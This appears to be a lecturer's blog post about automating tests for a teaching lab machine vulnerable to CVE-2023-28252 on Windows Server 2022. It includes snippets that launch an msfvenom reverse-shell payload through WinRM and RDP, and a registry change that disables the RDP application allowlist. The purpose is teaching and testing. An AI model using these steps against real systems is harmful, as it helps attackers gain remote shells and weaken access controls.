Automating the Testing of CVE-2023-28252

In the Lancaster MSc Cyber Security course, I teach our module on penetration testing. For our labs and assessments this involves developing a number of vulnerable virtual machines that students have access to in a restricted environment. To give confidence that the vulnerabilities can be exploited by students in the labs, lots of time has been devoted to develop tests for these vulnerable machines and the automation of these tests. During the testing of a lab machine involving CVE-2023-28252 which will target a Windows 2022 server, there were challenges getting the automated test to pass while manual testing was able to exploit the vulnerability successfully.

Building the Payload

The payload was built with msfvenom and deployed via an HTTP server.

Expected Outcome

The expected output would look like this:

Actual Outcome

Instead, I received an output similar to the following, which indicated that the exploit failed.

Testing Framework

In my framework for building, testing and deploying vulnerable machines, I use WinRM (via pypsrp to remotely access and configure Windows machines. This allows me the ability to execute PowerShell commands on the Windows machines. So in this instance, it would let me launch the reverse_tcp.exe payload on the Windows machine to set up a reverse shell with Metasploit.

USERNAME = "..."
PASSWORD = "..."
async with WinRMSession(ipaddr, username=USERNAME, password=PASSWORD) as sess:
    await sess.run(f'Start-Process -FilePath "C:\\Users\\{USERNAME}\\Documents\\reverse_tcp.exe"')

However, when doing so this consistently failed, even though I could successfully test the exploit when manually executing it.

To eliminate Start-Process as a potential cause of the issue, I looked for alternate ways to launch reverse_tcp.exe. One approach that I tried was to use verbs from Explorer to run the process. I was familiar with this approach as I had used them to implement ejecting media in Bento. A Microsoft devblog by Ed Wilson was useful in getting the Open verb to work. However, this still led to the same issue.

async with WinRMSession(ipaddr, username=USERNAME, password=PASSWORD) as sess:
    await sess.run(f'(New-Object -com Shell.Application).Namespace("C:\\Users\\{USERNAME}\\Documents").ParseName("reverse_tcp.exe").InvokeVerb("Open")')

I wanted to check that WinRM wasn’t the cause of the issue, so replaced the code to execute reverse_tcp.exe with the following and manually ran reverse_tcp.exe when the test paused. This worked, meaning that the cause of my issue was related to either connecting via WinRM or how process are launched via WinRM and how this interacts with the exploit.

input()

Unfortunately, always having a manual input here is not acceptable, as this prevents the test suite from automatically checking this exploit path.

One of the other services that the Windows 2022 server runs is RDP. StackOverflow was useful here as it indicated that applications can be run over RDP with an appropriate configuration. All that was needed was to disable checking the list of allowed applications. Not a sensible idea for a secure system, but not harmful in the context of developing a vulnerable machine for students to attack.

# Disable allowlist for using RDP to run programs
# See: https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-publishing-wmiprovider-fdisabledallowlist
Set-ItemProperty `
    -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Terminal Server\TSAppAllowList" `
    -Name "fDisabledAllowList" `
    -Value 1

A final challenge is that RDP was not happy that it was being run remotely over an SSH terminal.

So instead of running xfreerdp via the terminal directly, the code first creates a virtual framebuffer with xvfb-run. This allows the reverse_tcp.exe to be executed and in such a way that allows the exploit to be successful.

rdp_command = f"xvfb-run -a xfreerdp /u:{USERNAME} /p:{PASSWORD} /v:{ipaddr} /app:'C:\\Users\\{USERNAME}\\Documents\\reverse_tcp.exe'"
rdp_proc = await conn.create_process(rdp_command, stderr=asyncssh.STDOUT, encoding="utf-8")

Conclusions

It is still unclear to me why using a WinRM-based approach to launch reverse_tcp.exe did not work, especially as in other test cases for different vulnerabilities it has worked successfully. It would be interesting to investigate exactly why launching via WinRM prevented the exploit from being successful. However, the RDP approach does work and tests a slightly more realistic approach, as the students would likely use RDP to launch reverse_tcp.exe via a graphical interface.

Please note that this vulnerability was patched on the 11th of April 2023 with Windows Server 2022 10.0.20348.1668, such systems still running a vulnerable version should be updated immediately.